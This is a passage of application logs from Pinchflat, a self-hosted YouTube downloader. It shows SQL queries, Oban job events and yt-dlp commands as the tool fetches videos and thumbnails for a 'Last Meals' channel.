"id" = ? [482605997, ~U[2026-03-28 01:14:20Z], 21] 21:14:20.239 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:14:20.239 [info] {"args":{"id":21},"id":24,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":161919136,"event":"job:stop","queue_time":1455320340,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:14:20.240 [debug] QUERY OK source="tasks" db=0.3ms idle=1182.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:14:20.240 [debug] QUERY OK source="tasks" db=0.4ms idle=395.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:14:20.240 [debug] QUERY OK source="media_items" db=0.1ms idle=20.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [22] 21:14:20.241 [debug] QUERY OK source="media_items" db=0.3ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [22] 21:14:20.245 [info] {"args":{"id":23},"id":26,"meta":{},"system_time":1774660460245738539,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:14:20.246 [debug] QUERY OK source="media_items" db=0.2ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [23] 21:14:20.246 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:14:20.246 [debug] QUERY OK source="tasks" db=0.5ms idle=5.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:14:20.246 [debug] QUERY OK source="sources" db=0.3ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:14:20.246 [debug] QUERY OK source="tasks" db=0.9ms idle=5.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:14:20.247 [debug] QUERY OK source="media_items" db=0.4ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [22, 23] 21:14:20.247 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:14:20.247 [debug] QUERY OK source="media_items" db=0.2ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [22, 23] 21:14:20.247 [debug] QUERY OK source="media_items" db=0.2ms idle=0.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [23] 21:14:20.248 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [23] 21:14:20.248 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:14:20.248 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:20.248 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:20.248 [debug] Running yt-dlp command for action: get_downloadable_status 21:14:20.249 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:20.249 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:20.249 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:20.249 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eCVe9YdDAsc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/22/8a/228a4d58558f606330daa25e45eb1c919467d1bab62a6b01426d5e9df21c7ba2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:14:22.601 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eCVe9YdDAsc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/22/8a/228a4d58558f606330daa25e45eb1c919467d1bab62a6b01426d5e9df21c7ba2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:14:22.601 [debug] Running yt-dlp command for action: download 21:14:22.601 [debug] QUERY OK source="settings" db=0.0ms idle=753.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:22.601 [debug] QUERY OK source="settings" db=0.0ms idle=544.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:22.601 [debug] QUERY OK source="settings" db=0.0ms idle=544.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:22.601 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eCVe9YdDAsc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/9d/46/9d4637832f3c9956637f4fe995812ea161c1c88ab6d6aed31c5ded8e6c5ecef1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:14:28.656 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:36.314 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=iHQkWBUAFko --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/61/af/61af05fd661b456f67702243d068a6defa73e8849a09ed753dbbe7a86ecd3694.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:14:36.324 [debug] Running yt-dlp command for action: download_thumbnail 21:14:36.324 [debug] QUERY OK source="settings" db=0.0ms idle=453.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:36.324 [debug] QUERY OK source="settings" db=0.0ms idle=266.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:36.324 [debug] QUERY OK source="settings" db=0.0ms idle=266.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:36.324 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=iHQkWBUAFko --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/22/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/75/4d/754d9d4a7c072a5a25c873afc2fea4cb1347e103f22a0db8e652ae8f1b26a3b9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:14:39.084 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=iHQkWBUAFko --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/22/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/75/4d/754d9d4a7c072a5a25c873afc2fea4cb1347e103f22a0db8e652ae8f1b26a3b9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:14:39.085 [debug] QUERY OK db=0.0ms idle=1027.6ms begin [] 21:14:39.085 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:14:36Z], "/downloads/Last Meals/2025-03-20 Euphoria's Barbie Ferreira Eats Her Last Meal/Euphoria's Barbie Ferreira Eats Her Last Meal [iHQkWBUAFko].mp4", ~U[2026-03-28 01:14:39Z], 22] 21:14:39.086 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/22/metadata.json.gz", "/config/metadata/media_items/22/thumbnail.jpg", 22, ~U[2026-03-28 01:14:39Z], ~U[2026-03-28 01:14:39Z]] 21:14:39.086 [debug] QUERY OK db=0.1ms commit [] 21:14:39.087 [debug] QUERY OK source="media_items" db=0.5ms idle=1029.0ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [431005958, ~U[2026-03-28 01:14:39Z], 22] 21:14:39.087 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:14:39.087 [info] {"args":{"id":22},"id":25,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":154199509,"event":"job:stop","queue_time":1480887429,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:14:39.087 [debug] QUERY OK source="tasks" db=0.3ms idle=1030.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:14:39.088 [debug] QUERY OK source="tasks" db=0.4ms idle=208.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:14:39.088 [debug] QUERY OK source="media_items" db=0.0ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [23] 21:14:39.088 [debug] QUERY OK source="media_items" db=0.0ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [23] 21:14:39.093 [info] {"args":{"id":24},"id":27,"meta":{},"system_time":1774660479093601454,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:14:39.094 [debug] QUERY OK source="media_items" db=0.2ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [24] 21:14:39.094 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:14:39.094 [debug] QUERY OK source="tasks" db=0.5ms idle=5.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:14:39.094 [debug] QUERY OK source="tasks" db=0.5ms idle=5.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:14:39.094 [debug] QUERY OK source="sources" db=0.3ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:14:39.094 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [23, 24] 21:14:39.094 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:14:39.094 [debug] QUERY OK source="media_items" db=0.2ms idle=0.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [23, 24] 21:14:39.094 [debug] QUERY OK source="media_items" db=0.1ms idle=0.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 21:14:39.095 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [24] 21:14:39.095 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM 